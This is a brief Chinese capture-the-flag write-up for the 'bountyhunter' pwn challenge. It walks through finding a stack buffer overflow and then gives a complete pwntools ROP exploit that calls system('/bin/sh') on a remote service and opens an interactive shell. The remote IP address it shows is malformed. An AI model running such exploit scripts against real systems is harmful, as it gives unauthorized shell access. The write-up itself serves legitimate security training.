第五空间网络安全大赛pwn-bountyhunter
先运行一下
查看一下保护机制
开启了NX保护
丢入IDApro里面查看一下
查看一下vulnerable_function()函数
栈空间是144,但是可以读入的大小是0X200,常规的栈溢出题目
查看buf栈空间
shift+F12查看字符串
发现system和/bin/sh,构造payload
bin_sh_addr = 0x403408
system_addr = 0x401030
pop_rdi_ret_addr=0x000000000040120b
payload = ‘b’*(0x90 + 8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr ) + p64(system_addr )
from pwn import *
p = remote("139.123.169",32548)
#p = process('./pwn')
bin_sh_addr = 0x403408
system_addr = 0x401030
pop_rdi_ret_addr=0x000000000040120b
payload = 'b'*(0x90 + 8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr ) + p64(system_addr )
p.sendline(payload)
p.interactive()